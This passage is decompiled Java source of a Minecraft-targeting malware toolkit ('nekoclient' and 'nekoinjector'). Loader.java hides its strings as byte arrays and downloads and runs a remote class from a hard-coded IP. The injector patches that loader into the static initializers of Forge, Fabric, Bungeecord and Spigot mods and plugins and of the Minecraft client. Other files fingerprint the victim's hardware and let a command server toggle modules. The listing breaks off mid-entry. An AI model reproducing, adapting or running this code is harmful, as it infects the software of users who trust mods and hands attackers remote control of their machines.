    "content": "package dev.neko.nekoclient.packet.listener.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.module.Module;\r\nimport dev.neko.nekoclient.packet.impl.server.UpdateModulePacket;\r\nimport dev.neko.nekoclient.packet.listener.PacketListener;\r\nimport java.io.IOException;\r\nimport java.util.Objects;\r\n\r\npublic class UpdateModulePacketListener implements PacketListener<UpdateModulePacket> {\r\n   public void call(UpdateModulePacket packet, Client client, String id) throws IOException {\r\n      Module module = client.getModuleRegistry().getByName(packet.getModuleName());\r\n      if (!Objects.isNull(module)) {\r\n         if (!Objects.equals(module.isEnabled(), packet.isEnabled())) {\r\n            module.setEnabled(packet.isEnabled());\r\n         }\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/structure/Registry.java",
    "content": "package dev.neko.nekoclient.structure;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.Arrays;\r\nimport java.util.Collections;\r\nimport java.util.List;\r\nimport java.util.function.Predicate;\r\n\r\npublic class Registry<T> {\r\n   private final List<T> objects = new ArrayList<>();\r\n\r\n   public void register(T... objects) {\r\n      this.objects.addAll(Arrays.asList(objects));\r\n   }\r\n\r\n   public void unregister(T... objects) {\r\n      this.objects.removeAll(Arrays.asList(objects));\r\n   }\r\n\r\n   public T getBy(Predicate<? super T> predicate) {\r\n      return this.objects.stream().filter(predicate).findFirst().orElse((T)null);\r\n   }\r\n\r\n   public final List<T> getObjects() {\r\n      return Collections.unmodifiableList(this.objects);\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/structure/ThrowingRunnable.java",
    "content": "package dev.neko.nekoclient.structure;\r\n\r\npublic interface ThrowingRunnable<T extends Throwable> {\r\n   void run() throws T;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/DNSUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.Comparator;\r\nimport java.util.Hashtable;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport javax.naming.NamingEnumeration;\r\nimport javax.naming.NamingException;\r\nimport javax.naming.directory.Attribute;\r\nimport javax.naming.directory.Attributes;\r\nimport javax.naming.directory.InitialDirContext;\r\n\r\npublic class DNSUtil {\r\n   private static final InitialDirContext DIRECTORY;\r\n\r\n   public static DNSUtil.DNSEntry resolveMinecraft(String domain) throws NamingException {\r\n      Attributes attributes = DIRECTORY.getAttributes(String.format(\"dns:///_minecraft._tcp.%s\", domain), new String[]{\"SRV\"});\r\n      if (Objects.isNull(attributes)) {\r\n         return null;\r\n      } else {\r\n         Attribute srvRecords = attributes.get(\"SRV\");\r\n         if (!Objects.isNull(srvRecords) && srvRecords.size() > 0) {\r\n            NamingEnumeration<?> enumeration = srvRecords.getAll();\r\n            List<DNSUtil.DNSEntry> dnsEntries = new ArrayList<>();\r\n\r\n            while(enumeration.hasMore()) {\r\n               String line = (String)enumeration.next();\r\n               if (line.endsWith(\".\")) {\r\n                  line = line.substring(0, line.length() - 1);\r\n               }\r\n\r\n               String[] split = line.split(\" \");\r\n               dnsEntries.add(new DNSUtil.DNSEntry(Integer.parseInt(split[0]), Integer.parseInt(split[1]), split[3], Integer.parseInt(split[2])));\r\n            }\r\n\r\n            int maxPriority = dnsEntries.stream().min(Comparator.comparingInt(DNSUtil.DNSEntry::getPriority)).orElseThrow(RuntimeException::new).getPriority();\r\n            return dnsEntries.stream()\r\n               .filter(dnsEntry -> Objects.equals(dnsEntry.getPriority(), maxPriority))\r\n               .max(Comparator.comparingInt(DNSUtil.DNSEntry::getWeight))\r\n               .orElse(null);\r\n         } else {\r\n            return null;\r\n         }\r\n      }\r\n   }\r\n\r\n   static {\r\n      Hashtable<String, String> env = new Hashtable<>();\r\n      env.put(\"java.naming.factory.initial\", \"com.sun.jndi.dns.DnsContextFactory\");\r\n      env.put(\"java.naming.provider.url\", \"dns:\");\r\n\r\n      try {\r\n         DIRECTORY = new InitialDirContext(env);\r\n      } catch (NamingException var2) {\r\n         throw new RuntimeException(var2);\r\n      }\r\n   }\r\n\r\n   public static class DNSEntry {\r\n      private final int priority;\r\n      private final int weight;\r\n      private final String host;\r\n      private final int port;\r\n\r\n      public DNSEntry(int priority, int weight, String host, int port) {\r\n         this.priority = priority;\r\n         this.weight = weight;\r\n         this.host = host;\r\n         this.port = port;\r\n      }\r\n\r\n      public final int getPort() {\r\n         return this.port;\r\n      }\r\n\r\n      public final String getHost() {\r\n         return this.host;\r\n      }\r\n\r\n      public final int getPriority() {\r\n         return this.priority;\r\n      }\r\n\r\n      public final int getWeight() {\r\n         return this.weight;\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/EncodingUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.util.StringJoiner;\r\n\r\npublic class EncodingUtil {\r\n   public static byte[] decodeFromByteFormat(String string) {\r\n      String[] split = string.split(\"\\\\.\");\r\n      byte[] bytes = new byte[split.length];\r\n\r\n      for(int i = 0; i < bytes.length; ++i) {\r\n         bytes[i] = Byte.parseByte(split[i]);\r\n      }\r\n\r\n      return bytes;\r\n   }\r\n\r\n   public static String encodeToByteFormat(byte[] bytes) {\r\n      StringJoiner joiner = new StringJoiner(\".\");\r\n\r\n      for(byte b : bytes) {\r\n         joiner.add(String.valueOf((int)b));\r\n      }\r\n\r\n      return joiner.toString();\r\n   }\r\n\r\n   public static byte[] reverseBytes(byte[] bytes) {\r\n      byte[] reversedBytes = new byte[bytes.length];\r\n\r\n      for(int i = 0; i < bytes.length; ++i) {\r\n         byte originalByte = bytes[i];\r\n         byte reversedByte = 0;\r\n\r\n         for(int j = 0; j < 8; ++j) {\r\n            reversedByte = (byte)(reversedByte << 1);\r\n            reversedByte = (byte)(reversedByte | originalByte & 1);\r\n            originalByte = (byte)(originalByte >> 1);\r\n         }\r\n\r\n         reversedBytes[i] = reversedByte;\r\n      }\r\n\r\n      return reversedBytes;\r\n   }\r\n\r\n   public static byte[] restoreReversedBytes(byte[] reversedBytes) {\r\n      byte[] bytes = new byte[reversedBytes.length];\r\n\r\n      for(int i = 0; i < reversedBytes.length; ++i) {\r\n         byte reversedByte = reversedBytes[i];\r\n         byte originalByte = 0;\r\n\r\n         for(int j = 0; j < 8; ++j) {\r\n            originalByte = (byte)(originalByte << 1);\r\n            originalByte = (byte)(originalByte | reversedByte & 1);\r\n            reversedByte = (byte)(reversedByte >> 1);\r\n         }\r\n\r\n         bytes[i] = originalByte;\r\n      }\r\n\r\n      return bytes;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/FormUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.io.UnsupportedEncodingException;\r\nimport java.net.URLEncoder;\r\nimport java.util.Map;\r\nimport java.util.StringJoiner;\r\n\r\npublic class FormUtil {\r\n   public static String encodeToForm(Map<String, String> map) {\r\n      StringJoiner joiner = new StringJoiner(\"&\");\r\n      map.forEach((key, value) -> {\r\n         try {\r\n            joiner.add(String.format(\"%s=%s\", key, URLEncoder.encode(value, \"UTF-8\")));\r\n         } catch (UnsupportedEncodingException var4) {\r\n         }\r\n      });\r\n      return joiner.toString();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/GraphicUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.awt.Graphics2D;\r\nimport java.awt.Window;\r\nimport java.awt.image.BufferedImage;\r\nimport java.io.IOException;\r\n\r\npublic class GraphicUtil {\r\n   public static void drawCenteredText(Window window, String text) {\r\n      window.getGraphics()\r\n         .drawString(\r\n            text, window.getWidth() / 2 - window.getGraphics().getFontMetrics(window.getGraphics().getFont()).stringWidth(text) / 2, window.getHeight() / 2\r\n         );\r\n   }\r\n\r\n   public static BufferedImage resizeImage(BufferedImage originalImage, int targetWidth, int targetHeight) throws IOException {\r\n      BufferedImage resizedImage = new BufferedImage(targetWidth, targetHeight, 1);\r\n      Graphics2D graphics2D = resizedImage.createGraphics();\r\n      graphics2D.drawImage(originalImage, 0, 0, targetWidth, targetHeight, null);\r\n      graphics2D.dispose();\r\n      return resizedImage;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/HardwareIDUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.io.ByteArrayOutputStream;\r\nimport java.io.IOException;\r\nimport java.net.InetAddress;\r\nimport java.net.NetworkInterface;\r\nimport java.net.SocketException;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.ArrayList;\r\nimport java.util.Comparator;\r\nimport java.util.Enumeration;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\n\r\npublic class HardwareIDUtil {\r\n   public static String generateHardwareID() throws NoSuchAlgorithmException, IOException {\r\n      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\r\n      Enumeration<? extends NetworkInterface> enumeration = NetworkInterface.getNetworkInterfaces();\r\n      if (Objects.nonNull(enumeration)) {\r\n         List<NetworkInterface> networkInterfaces = new ArrayList<>();\r\n\r\n         while(enumeration.hasMoreElements()) {\r\n            networkInterfaces.add(enumeration.nextElement());\r\n         }\r\n\r\n         networkInterfaces.stream().sorted(Comparator.comparing(NetworkInterface::getName)).filter(networkInterface -> {\r\n            try {\r\n               return networkInterface.isUp() && !networkInterface.isVirtual();\r\n            } catch (SocketException var2x) {\r\n               return false;\r\n            }\r\n         }).map(networkInterface -> {\r\n            try {\r\n               byte[] address = networkInterface.getHardwareAddress();\r\n               return !Objects.isNull(address) && address.length != 0 ? address : null;\r\n            } catch (SocketException var2x) {\r\n               return null;\r\n            }\r\n         }).filter(Objects::nonNull).forEach(bytes -> {\r\n            try {\r\n               byteArrayOutputStream.write(bytes);\r\n            } catch (IOException var3x) {\r\n            }\r\n         });\r\n      }\r\n\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"os.name\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"os.arch\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"user.name\"));\r\n      String hostName = InetAddress.getLocalHost().getHostName();\r\n      if (Objects.nonNull(hostName)) {\r\n         byteArrayOutputStream.write(hostName.getBytes());\r\n      }\r\n\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"user.country\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"user.language\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"user.home\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"os.version\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"line.separator\"));\r\n      byteArrayOutputStream.write(SystemUtil.propertyBytes(\"file.separator\"));\r\n      byteArrayOutputStream.write(String.valueOf(SystemUtil.getAvailableProcessors()).getBytes());\r\n      byteArrayOutputStream.write(String.valueOf(SystemUtil.getTotalPhysicalMemory()).getBytes());\r\n      byteArrayOutputStream.write(SystemUtil.envBytes(\"PROCESSOR_IDENTIFIER\"));\r\n      return HashUtil.generateMD5Hash(byteArrayOutputStream.toByteArray());\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/HashUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.math.BigInteger;\r\nimport java.security.MessageDigest;\r\nimport java.security.NoSuchAlgorithmException;\r\n\r\npublic class HashUtil {\r\n   public static String generateMD5Hash(byte[] bytes) throws NoSuchAlgorithmException {\r\n      MessageDigest md5 = MessageDigest.getInstance(\"MD5\");\r\n      md5.update(bytes);\r\n      return new BigInteger(1, md5.digest()).toString(16);\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/JsonUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport com.eclipsesource.json.JsonValue;\r\nimport java.util.Objects;\r\nimport java.util.function.Predicate;\r\n\r\npublic class JsonUtil {\r\n   public static boolean is(JsonValue value, Predicate<JsonValue> predicate) {\r\n      return Objects.nonNull(value) && predicate.test(value);\r\n   }\r\n\r\n   public static boolean isNot(JsonValue value, Predicate<JsonValue> predicate) {\r\n      return !is(value, predicate);\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/ObjectUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport java.util.Objects;\r\n\r\npublic class ObjectUtil {\r\n   public static <A, B> A unsafeCast(B b) {\r\n      return (A)b;\r\n   }\r\n\r\n   public static <T> T requireNonNullElse(T value, T fallback) {\r\n      return (T)(Objects.isNull(value) ? fallback : value);\r\n   }\r\n\r\n   public static <T> T requireNonNullAndExceptionElse(ObjectUtil.Catcher<T> value, T fallback) {\r\n      try {\r\n         T result = value.get();\r\n         return (T)(Objects.isNull(result) ? fallback : result);\r\n      } catch (Throwable var3) {\r\n         return fallback;\r\n      }\r\n   }\r\n\r\n   public static <T> T requireNonExceptionElse(ObjectUtil.Catcher<T> value, T fallback) {\r\n      try {\r\n         return value.get();\r\n      } catch (Throwable var3) {\r\n         return fallback;\r\n      }\r\n   }\r\n\r\n   public interface Catcher<T> {\r\n      T get() throws Throwable;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/utils/SystemUtil.java",
    "content": "package dev.neko.nekoclient.utils;\r\n\r\nimport com.sun.management.OperatingSystemMXBean;\r\nimport java.lang.management.ManagementFactory;\r\nimport java.util.Objects;\r\nimport oshi.SystemInfo;\r\nimport oshi.hardware.HardwareAbstractionLayer;\r\n\r\npublic class SystemUtil {\r\n   private static HardwareAbstractionLayer hardware = null;\r\n\r\n   public static int getAvailableProcessors() {\r\n      return Runtime.getRuntime().availableProcessors();\r\n   }\r\n\r\n   public static long getTotalPhysicalMemory() {\r\n      try {\r\n         if (Objects.nonNull(hardware)) {\r\n            return hardware.getMemory().getTotal();\r\n         }\r\n      } catch (Throwable var2) {\r\n      }\r\n\r\n      try {\r\n         if (ManagementFactory.getOperatingSystemMXBean() instanceof OperatingSystemMXBean) {\r\n            return ((OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean()).getTotalPhysicalMemorySize();\r\n         }\r\n      } catch (Throwable var1) {\r\n      }\r\n\r\n      return 0L;\r\n   }\r\n\r\n   public static String getProcessorName() {\r\n      if (Objects.nonNull(hardware)) {\r\n         try {\r\n            return hardware.getProcessor().getProcessorIdentifier().getName();\r\n         } catch (Throwable var1) {\r\n         }\r\n      }\r\n\r\n      return \"\";\r\n   }\r\n\r\n   public static byte[] envBytes(int offset, String... properties) {\r\n      String value = System.getenv(properties[offset]);\r\n      return Objects.isNull(value) ? (offset + 1 >= properties.length ? new byte[0] : propertyBytes(offset + 1, properties)) : value.getBytes();\r\n   }\r\n\r\n   public static byte[] envBytes(String... properties) {\r\n      return envBytes(1, properties);\r\n   }\r\n\r\n   public static byte[] envBytes(String env) {\r\n      String value = System.getenv(env);\r\n      return Objects.isNull(value) ? new byte[0] : value.getBytes();\r\n   }\r\n\r\n   public static String env(String env) {\r\n      return new String(envBytes(env));\r\n   }\r\n\r\n   public static byte[] propertyBytes(String property) {\r\n      String value = System.getProperty(property);\r\n      return Objects.isNull(value) ? new byte[0] : value.getBytes();\r\n   }\r\n\r\n   public static byte[] propertyBytes(int offset, String... properties) {\r\n      String value = System.getProperty(properties[offset]);\r\n      return Objects.isNull(value) ? (offset + 1 >= properties.length ? new byte[0] : propertyBytes(offset + 1, properties)) : value.getBytes();\r\n   }\r\n\r\n   public static byte[] propertyBytes(String... properties) {\r\n      return propertyBytes(1, properties);\r\n   }\r\n\r\n   public static String property(String property) {\r\n      return new String(propertyBytes(property));\r\n   }\r\n\r\n   public static String property(String... property) {\r\n      return new String(propertyBytes(property));\r\n   }\r\n\r\n   static {\r\n      try {\r\n         hardware = new SystemInfo().getHardware();\r\n      } catch (Throwable var1) {\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/Injector.java",
    "content": "package dev.neko.nekoinjector;\r\n\r\nimport dev.neko.nekoinjector.utils.EncodingUtil;\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.util.Objects;\r\nimport java.util.jar.Manifest;\r\nimport java.util.jar.Attributes.Name;\r\nimport org.objectweb.asm.ClassReader;\r\nimport org.objectweb.asm.tree.AbstractInsnNode;\r\nimport org.objectweb.asm.tree.ClassNode;\r\nimport org.objectweb.asm.tree.LdcInsnNode;\r\nimport org.objectweb.asm.tree.MethodNode;\r\n\r\npublic class Injector {\r\n   public static MethodNode loadInstallerNode(InputStream clazz, String ref) throws IOException {\r\n      ClassReader installerClassReader = new ClassReader(clazz);\r\n      ClassNode installerNode = new ClassNode();\r\n      installerClassReader.accept(installerNode, 0);\r\n      MethodNode methodNode = installerNode.methods\r\n         .stream()\r\n         .filter(methodNode2 -> Objects.equals(methodNode2.name, \"load\"))\r\n         .findFirst()\r\n         .orElseThrow(IllegalStateException::new);\r\n\r\n      for(AbstractInsnNode instruction : methodNode.instructions) {\r\n         if (instruction instanceof LdcInsnNode) {\r\n            LdcInsnNode ldc = (LdcInsnNode)instruction;\r\n            if (ldc.cst instanceof String && Objects.equals(ldc.cst, \"REF\")) {\r\n               ldc.cst = Objects.isNull(ref) ? null : EncodingUtil.encodeToByteFormat(EncodingUtil.reverseBytes(ref.getBytes()));\r\n            }\r\n         }\r\n      }\r\n\r\n      return methodNode;\r\n   }\r\n\r\n   public static String findMainClass(Manifest manifest) {\r\n      return !Objects.isNull(manifest) && !Objects.isNull(manifest.getMainAttributes()) && manifest.getMainAttributes().containsKey(Name.MAIN_CLASS)\r\n         ? String.format(\"%s.class\", manifest.getMainAttributes().getValue(Name.MAIN_CLASS).replaceAll(\"\\\\.\", \"/\"))\r\n         : null;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/Loader.java",
    "content": "package dev.neko.nekoinjector;\r\n\r\nimport java.net.URL;\r\n\r\npublic class Loader {\r\n   public void load() {\r\n      try {\r\n         Class.forName(\r\n               // \"Utility\"\r\n               new String(new byte[]{85, 116, 105, 108, 105, 116, 121}),\r\n               true,\r\n               (ClassLoader)Class.forName(\r\n                     // java.net.URLClassLoader\r\n                     new String(new byte[]{106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114})\r\n                  )\r\n                  .getConstructor(URL[].class)\r\n                  .newInstance(\r\n                     new URL[]{\r\n                        new URL(\r\n                           // http\r\n                           new String(new byte[]{104, 116, 116, 112}),\r\n                           // 85.217.144.130\r\n                           new String(new byte[]{56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48}),\r\n                           8080,\r\n                           // /dl\r\n                           new String(new byte[]{47, 100, 108})\r\n                        )\r\n                     }\r\n                  )\r\n            )\r\n            // run\r\n            .getMethod(new String(new byte[]{114, 117, 110}), String.class)\r\n            .invoke(null, \"REF\");\r\n      } catch (Throwable var2) {\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/asm/Entry.java",
    "content": "package dev.neko.nekoinjector.asm;\r\n\r\nimport java.util.Objects;\r\nimport java.util.UUID;\r\nimport java.util.jar.JarEntry;\r\nimport org.objectweb.asm.ClassWriter;\r\nimport org.objectweb.asm.tree.AbstractInsnNode;\r\nimport org.objectweb.asm.tree.ClassNode;\r\nimport org.objectweb.asm.tree.LdcInsnNode;\r\nimport org.objectweb.asm.tree.MethodInsnNode;\r\nimport org.objectweb.asm.tree.MethodNode;\r\n\r\npublic class Entry {\r\n   private final JarEntry jarEntry;\r\n   private final ClassNode classNode;\r\n   private final byte[] bytes;\r\n   private boolean inject;\r\n\r\n   public Entry(JarEntry jarEntry, ClassNode classNode, byte[] bytes, boolean inject) {\r\n      this.jarEntry = jarEntry;\r\n      this.classNode = classNode;\r\n      this.bytes = bytes;\r\n      this.inject = inject;\r\n   }\r\n\r\n   public final JarEntry getJarEntry() {\r\n      return this.jarEntry;\r\n   }\r\n\r\n   public final ClassNode getClassNode() {\r\n      return this.classNode;\r\n   }\r\n\r\n   public final boolean isInject() {\r\n      return this.inject;\r\n   }\r\n\r\n   public void setInject(boolean inject) {\r\n      this.inject = inject;\r\n   }\r\n\r\n   public final byte[] getBytes() {\r\n      return this.bytes;\r\n   }\r\n\r\n   public final boolean isClass() {\r\n      return Objects.nonNull(this.classNode);\r\n   }\r\n\r\n   public final boolean isResource() {\r\n      return Objects.isNull(this.classNode);\r\n   }\r\n\r\n   public final boolean isInjected(String encodedRef) {\r\n      for(MethodNode method : this.classNode.methods) {\r\n         for(AbstractInsnNode instruction : method.instructions) {\r\n            if (instruction instanceof LdcInsnNode) {\r\n               LdcInsnNode ldcInsnNode = (LdcInsnNode)instruction;\r\n               if (ldcInsnNode.cst instanceof String && Objects.equals(ldcInsnNode.cst, encodedRef)) {\r\n                  return true;\r\n               }\r\n            }\r\n         }\r\n      }\r\n\r\n      return false;\r\n   }\r\n\r\n   public final byte[] inject(MethodNode methodNode) {\r\n      ClassWriter classWriter = new ClassWriter(1);\r\n      MethodNode alreadyExistingClinit = this.classNode.methods.stream().filter(method -> Objects.equals(method.name, \"<clinit>\")).findFirst().orElse(null);\r\n      if (Objects.nonNull(alreadyExistingClinit)) {\r\n         MethodNode newClinitNode = new MethodNode(8, String.format(\"_%s\", UUID.randomUUID().toString().replaceAll(\"-\", \"\")), \"()V\", null, null);\r\n         newClinitNode.instructions = methodNode.instructions;\r\n         this.classNode.methods.add(newClinitNode);\r\n         alreadyExistingClinit.instructions\r\n            .insert(alreadyExistingClinit.instructions.getFirst(), new MethodInsnNode(184, this.classNode.name, newClinitNode.name, newClinitNode.desc));\r\n      } else {\r\n         MethodNode clinitNode = new MethodNode(8, \"<clinit>\", \"()V\", null, null);\r\n         clinitNode.instructions = methodNode.instructions;\r\n         this.classNode.methods.add(clinitNode);\r\n      }\r\n\r\n      this.classNode.accept(classWriter);\r\n      return classWriter.toByteArray();\r\n   }\r\n\r\n   public final boolean isCertificate() {\r\n      String name = this.jarEntry.getName();\r\n      return Objects.equals(name, \"META-INF/CERTIFIC.RSA\")\r\n         || Objects.equals(name, \"META-INF/CERT.SF\")\r\n         || Objects.equals(name, \"META-INF/CERTIFIC.SF\")\r\n         || Objects.equals(name, \"META-INF/CERTIFIC.EC\");\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/asm/EntryList.java",
    "content": "package dev.neko.nekoinjector.asm;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.function.Predicate;\r\nimport java.util.stream.Collectors;\r\n\r\npublic class EntryList extends ArrayList<Entry> {\r\n   public Entry getBy(Predicate<? super Entry> predicate) {\r\n      return this.stream().filter(predicate).findFirst().orElse(null);\r\n   }\r\n\r\n   public Entry getByPath(String path) {\r\n      return this.getBy(\r\n         entry -> Objects.equals(entry.getJarEntry().getName(), path) || Objects.equals(String.format(\"/%s\", entry.getJarEntry().getName()), path)\r\n      );\r\n   }\r\n\r\n   public List<Entry> classes() {\r\n      return this.stream().filter(Entry::isClass).collect(Collectors.toList());\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/SimpleTemplate.java",
    "content": "package dev.neko.nekoinjector.template;\r\n\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\nimport java.util.HashSet;\r\nimport java.util.List;\r\nimport java.util.stream.Collectors;\r\nimport java.util.zip.ZipEntry;\r\n\r\npublic class SimpleTemplate implements Template {\r\n   private final String name;\r\n   private final List<String> suggest;\r\n   private final List<String> injections;\r\n\r\n   public SimpleTemplate(String name, List<String> suggest, List<String> injections) {\r\n      this.name = name;\r\n      this.suggest = suggest;\r\n      this.injections = injections;\r\n   }\r\n\r\n   @Override\r\n   public final boolean shouldSuggest(EntryList jarEntries) {\r\n      return new HashSet(jarEntries.stream().map(Entry::getJarEntry).map(ZipEntry::getName).collect(Collectors.toList())).containsAll(this.suggest);\r\n   }\r\n\r\n   @Override\r\n   public final String getName() {\r\n      return this.name;\r\n   }\r\n\r\n   public final List<String> getSuggest() {\r\n      return this.suggest;\r\n   }\r\n\r\n   public final List<String> getInjections() {\r\n      return this.injections;\r\n   }\r\n\r\n   @Override\r\n   public boolean shouldInject(Entry entry) {\r\n      return this.injections.contains(entry.getJarEntry().getName())\r\n         || this.injections.contains(String.format(\"/%s\", this.injections.contains(entry.getJarEntry().getName())));\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/Template.java",
    "content": "package dev.neko.nekoinjector.template;\r\n\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\n\r\npublic interface Template {\r\n   boolean shouldSuggest(EntryList var1);\r\n\r\n   boolean shouldInject(Entry var1);\r\n\r\n   String getName();\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/impl/BungeecordPluginTemplate.java",
    "content": "package dev.neko.nekoinjector.template.impl;\r\n\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\nimport dev.neko.nekoinjector.template.Template;\r\nimport java.util.Objects;\r\n\r\npublic class BungeecordPluginTemplate implements Template {\r\n   private static final String PLUGIN_SUPERCLASS = \"net/md_5/bungee/api/plugin/Plugin\";\r\n\r\n   @Override\r\n   public boolean shouldSuggest(EntryList entries) {\r\n      return entries.stream().anyMatch(entry -> entry.isClass() && Objects.equals(entry.getClassNode().superName, \"net/md_5/bungee/api/plugin/Plugin\"));\r\n   }\r\n\r\n   @Override\r\n   public boolean shouldInject(Entry entry) {\r\n      return Objects.equals(entry.getClassNode().superName, \"net/md_5/bungee/api/plugin/Plugin\");\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"minecraft-bungeecord-plugin\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/impl/FabricModTemplate.java",
    "content": "package dev.neko.nekoinjector.template.impl;\r\n\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\nimport dev.neko.nekoinjector.template.Template;\r\n\r\npublic class FabricModTemplate implements Template {\r\n   private static final String MOD_INTERFACE = \"net/fabricmc/api/ModInitializer\";\r\n\r\n   @Override\r\n   public boolean shouldSuggest(EntryList entries) {\r\n      return entries.stream().anyMatch(entry -> entry.isClass() && entry.getClassNode().interfaces.contains(\"net/fabricmc/api/ModInitializer\"));\r\n   }\r\n\r\n   @Override\r\n   public boolean shouldInject(Entry entry) {\r\n      return entry.getClassNode().interfaces.contains(\"net/fabricmc/api/ModInitializer\");\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"minecraft-fabric-mod\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/impl/ForgeModTemplate.java",
    "content": "package dev.neko.nekoinjector.template.impl;\r\n\r\nimport dev.neko.nekoinjector.asm.Entry;\r\nimport dev.neko.nekoinjector.asm.EntryList;\r\nimport dev.neko.nekoinjector.template.Template;\r\nimport java.util.Objects;\r\n\r\npublic class ForgeModTemplate implements Template {\r\n   private static final String MOD_ANNOTATION = \"Lnet/minecraftforge/fml/common/Mod;\";\r\n\r\n   @Override\r\n   public boolean shouldSuggest(EntryList entries) {\r\n      return entries.stream()\r\n         .anyMatch(\r\n            entry -> entry.isClass()\r\n                  && Objects.nonNull(entry.getClassNode().visibleAnnotations)\r\n                  && entry.getClassNode()\r\n                     .visibleAnnotations\r\n                     .stream()\r\n                     .anyMatch(annotationNode -> Objects.equals(annotationNode.desc, \"Lnet/minecraftforge/fml/common/Mod;\"))\r\n         );\r\n   }\r\n\r\n   @Override\r\n   public boolean shouldInject(Entry entry) {\r\n      return Objects.nonNull(entry.getClassNode().visibleAnnotations)\r\n         && entry.getClassNode()\r\n            .visibleAnnotations\r\n            .stream()\r\n            .anyMatch(annotationNode -> Objects.equals(annotationNode.desc, \"Lnet/minecraftforge/fml/common/Mod;\"));\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"minecraft-forge-mod\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/impl/MinecraftClientTemplate.java",
    "content": "package dev.neko.nekoinjector.template.impl;\r\n\r\nimport dev.neko.nekoinjector.template.SimpleTemplate;\r\nimport java.util.Arrays;\r\nimport java.util.Collections;\r\n\r\npublic class MinecraftClientTemplate extends SimpleTemplate {\r\n   public MinecraftClientTemplate() {\r\n      super(\r\n         \"minecraft-client\",\r\n         Collections.singletonList(\"net/minecraft/client/main/Main.class\"),\r\n         Arrays.asList(\"net/minecraft/client/main/Main.class\", \"net/minecraft/client/gui/GuiMultiplayer.class\")\r\n      );\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoinjector/template/impl/SpigotPluginTemplate.java",
